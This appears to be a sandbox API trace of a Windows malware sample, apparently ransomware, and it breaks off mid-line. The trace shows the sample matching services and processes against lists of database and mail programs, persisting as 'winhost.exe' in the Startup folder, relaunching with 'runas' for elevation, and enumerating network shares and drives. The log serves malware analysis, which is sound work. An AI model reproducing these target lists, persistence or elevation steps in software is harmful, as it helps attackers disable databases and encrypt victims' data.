[0280.175] lstrlenW (lpString="SamSs") returned 5 [0280.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0280.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0280.175] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0280.175] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0280.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0280.177] lstrlenW (lpString="Schedule") returned 8 [0280.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0280.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0280.178] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0280.178] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0280.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0280.178] lstrlenW (lpString="SENS") returned 4 [0280.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0280.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0280.178] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0280.178] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0280.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0280.178] lstrlenW (lpString="ShellHWDetection") returned 16 [0280.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0280.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0280.179] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0280.179] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0280.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0280.180] lstrlenW (lpString="Spooler") returned 7 [0280.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0280.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0280.180] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0280.180] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0280.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0280.180] lstrlenW (lpString="SysMain") returned 7 [0280.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0280.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0280.181] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0280.181] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0280.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0280.181] lstrlenW (lpString="Themes") returned 6 [0280.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0280.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0280.181] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0280.181] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0280.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0280.182] lstrlenW (lpString="TrkWks") returned 6 [0280.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0280.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0280.182] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0280.182] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0280.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0280.182] lstrlenW (lpString="UxSms") returned 5 [0280.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0280.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0280.182] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0280.183] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0280.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0280.183] lstrlenW (lpString="WdiServiceHost") returned 14 [0280.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0280.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0280.184] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0280.184] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0280.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0280.185] lstrlenW (lpString="WdiSystemHost") returned 13 [0280.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0280.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0280.185] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0280.185] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0280.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0280.185] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0280.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0280.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0280.185] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0280.186] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0280.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0280.186] lstrlenW (lpString="Winmgmt") returned 7 [0280.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0280.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0280.186] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0280.187] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0280.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0280.188] lstrlenW (lpString="WPDBusEnum") returned 10 [0280.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0280.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0280.189] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0280.189] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0280.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0280.189] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42e5000 | out: hHeap=0x590000) returned 1 [0280.189] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15c [0280.409] Process32FirstW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0280.410] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0280.411] lstrlenW (lpString="System") returned 6 [0280.411] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0280.411] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0280.412] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0280.413] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0280.413] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0280.413] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0280.413] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0280.413] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0280.415] lstrlenW (lpString="smss.exe") returned 8 [0280.415] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0280.415] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0280.415] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0280.415] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0280.415] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0280.415] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0280.415] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0280.415] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0280.416] lstrlenW (lpString="csrss.exe") returned 9 [0280.417] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0280.417] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0280.417] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0280.417] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0280.417] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0280.418] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0280.418] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0280.418] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0280.419] lstrlenW (lpString="wininit.exe") returned 11 [0280.419] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0280.419] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0280.419] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0280.420] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0280.420] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0280.420] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0280.422] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0280.423] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0280.424] lstrlenW (lpString="csrss.exe") returned 9 [0280.424] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0280.424] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0280.424] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0280.424] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0280.424] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0280.424] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0280.426] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0280.427] lstrlenW (lpString="winlogon.exe") returned 12 [0280.427] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0280.429] lstrlenW (lpString="services.exe") returned 12 [0280.430] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0280.431] lstrlenW (lpString="lsass.exe") returned 9 [0280.433] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0280.435] lstrlenW (lpString="lsm.exe") returned 7 [0280.435] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.436] lstrlenW (lpString="svchost.exe") returned 11 [0280.436] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.437] lstrlenW (lpString="svchost.exe") returned 11 [0280.437] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.438] lstrlenW (lpString="svchost.exe") returned 11 [0280.438] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.439] lstrlenW (lpString="svchost.exe") returned 11 [0280.440] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.441] lstrlenW (lpString="svchost.exe") returned 11 [0280.441] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0280.442] lstrlenW (lpString="audiodg.exe") returned 11 [0280.442] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.073] lstrlenW (lpString="svchost.exe") returned 11 [0281.073] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0281.074] lstrlenW (lpString="explorer.exe") returned 12 [0281.074] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0281.076] lstrlenW (lpString="dwm.exe") returned 7 [0281.076] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.078] lstrlenW (lpString="svchost.exe") returned 11 [0281.078] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0281.079] lstrlenW (lpString="winhost.exe") returned 11 [0281.079] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0281.082] lstrlenW (lpString="spoolsv.exe") returned 11 [0281.082] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.083] lstrlenW (lpString="svchost.exe") returned 11 [0281.084] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0281.086] lstrlenW (lpString="taskhost.exe") returned 12 [0281.086] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0281.087] lstrlenW (lpString="reader_sl.exe") returned 13 [0281.087] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0281.088] lstrlenW (lpString="taskhost.exe") returned 12 [0281.090] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x368, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0281.092] lstrlenW (lpString="consent.exe") returned 11 [0281.092] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x74c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0281.093] lstrlenW (lpString="dllhost.exe") returned 11 [0281.093] Process32NextW (in: hSnapshot=0x15c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x74c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0281.095] CloseHandle (hObject=0x15c) returned 1 [0281.095] Sleep (dwMilliseconds=0x1f4) Thread: id = 31 os_tid = 0x5d4 [0199.079] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5ec4b8 [0199.079] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x5ed718 [0199.079] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5ec500 [0199.079] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5ec500, Size=0x20) returned 0x5c5c40 [0199.079] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5ec500 [0199.079] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5ec500, Size=0x20) returned 0x5c5c68 [0199.080] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75c40000 [0199.080] GetProcAddress (hModule=0x75c40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c6d650 [0199.080] Wow64DisableWow64FsRedirection (in: OldValue=0x227ff28 | out: OldValue=0x227ff28*=0x0) returned 1 [0199.080] lstrlenW (lpString="kernel32.dll") returned 12 [0199.080] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5c40 | out: hHeap=0x590000) returned 1 [0199.080] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0199.080] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5c68 | out: hHeap=0x590000) returned 1 [0199.081] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5ed718, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe")) returned 0x67 [0199.081] ShellExecuteExW (pExecInfo=0x227ff34*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) Thread: id = 32 os_tid = 0x5d8 [0199.123] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5ec518 [0199.123] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5ec518, Size=0x20) returned 0x5c5c68 [0199.123] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c5c68, Size=0x40) returned 0x5c6dd0 [0199.123] GetLogicalDrives () returned 0x4 [0199.123] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x60efa0 [0199.125] GetComputerNameW (in: lpBuffer=0x60efa4, nSize=0x237ff6c | out: lpBuffer="XDUWTFONO", nSize=0x237ff6c) returned 1 [0199.126] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x1000) returned 0x61efa8 [0199.126] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x237ff3c | out: lphEnum=0x237ff3c*=0x5c6320) returned 0x0 [0199.128] WNetEnumResourceW (in: hEnum=0x5c6320, lpcCount=0x237ff38, lpBuffer=0x61efa8, lpBufferSize=0x237ff40 | out: lpcCount=0x237ff38, lpBuffer=0x61efa8, lpBufferSize=0x237ff40) returned 0x103 [0199.128] WNetCloseEnum (hEnum=0x5c6320) returned 0x0 [0199.129] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x237ff3c | out: lphEnum=0x237ff3c*=0x6029d0) returned 0x0 [0205.750] WNetEnumResourceW (in: hEnum=0x6029d0, lpcCount=0x237ff38, lpBuffer=0x61efa8, lpBufferSize=0x237ff40 | out: lpcCount=0x237ff38, lpBuffer=0x61efa8, lpBufferSize=0x237ff40) returned 0x0 [0205.751] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x1000) returned 0x602bb0 [0205.751] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x61efa8, lphEnum=0x237ff10 | out: lphEnum=0x237ff10*=0x5c65e0) returned 0x0 [0206.032] WNetEnumResourceW (in: hEnum=0x5c65e0, lpcCount=0x237ff0c, lpBuffer=0x602bb0, lpBufferSize=0x237ff14 | out: lpcCount=0x237ff0c, lpBuffer=0x602bb0, lpBufferSize=0x237ff14) returned 0x103 [0206.032] WNetCloseEnum (hEnum=0x5c65e0) returned 0x0 [0206.032] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x1000) returned 0x5e6860 [0206.032] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x61efc8, lphEnum=0x237ff10 | out: lphEnum=0x237ff10*=0x0) returned 0x4c6 [0206.564] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x1000) returned 0x620b00 [0206.564] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x61efe8, lphEnum=0x237ff10 | out: lphEnum=0x237ff10*=0x0) returned 0x4c6 [0206.565] WNetEnumResourceW (in: hEnum=0x6029d0, lpcCount=0x237ff38, lpBuffer=0x61efa8, lpBufferSize=0x237ff40 | out: lpcCount=0x237ff38, lpBuffer=0x61efa8, lpBufferSize=0x237ff40) returned 0x103 [0206.565] WNetCloseEnum (hEnum=0x6029d0) returned 0x0 [0206.565] GetLogicalDrives () returned 0x4 [0206.566] Sleep (dwMilliseconds=0x64) [0207.097] GetLogicalDrives () returned 0x4 [0207.097] Sleep (dwMilliseconds=0x64) [0207.434] GetLogicalDrives () returned 0x4 [0207.435] Sleep (dwMilliseconds=0x64) [0207.947] GetLogicalDrives () returned 0x4 [0207.947] Sleep (dwMilliseconds=0x64) [0208.172] GetLogicalDrives () returned 0x4 [0208.173] Sleep (dwMilliseconds=0x64) [0208.489] GetLogicalDrives () returned 0x4 [0208.489] Sleep (dwMilliseconds=0x64) [0208.671] GetLogicalDrives () returned 0x4 [0208.671] Sleep (dwMilliseconds=0x64) [0208.992] GetLogicalDrives () returned 0x4 [0208.992] Sleep (dwMilliseconds=0x64) [0209.258] GetLogicalDrives () returned 0x4 [0209.258] Sleep (dwMilliseconds=0x64) [0209.776] GetLogicalDrives () returned 0x4 [0209.776] Sleep (dwMilliseconds=0x64) [0210.081] GetLogicalDrives () returned 0x4 [0210.081] Sleep (dwMilliseconds=0x64) [0210.324] GetLogicalDrives () returned 0x4 [0210.326] Sleep (dwMilliseconds=0x64) [0210.911] GetLogicalDrives () returned 0x4 [0210.911] Sleep (dwMilliseconds=0x64) [0211.341] GetLogicalDrives () returned 0x4 [0211.341] Sleep (dwMilliseconds=0x64) [0212.157] GetLogicalDrives () returned 0x4 [0212.157] Sleep (dwMilliseconds=0x64) [0213.640] GetLogicalDrives () returned 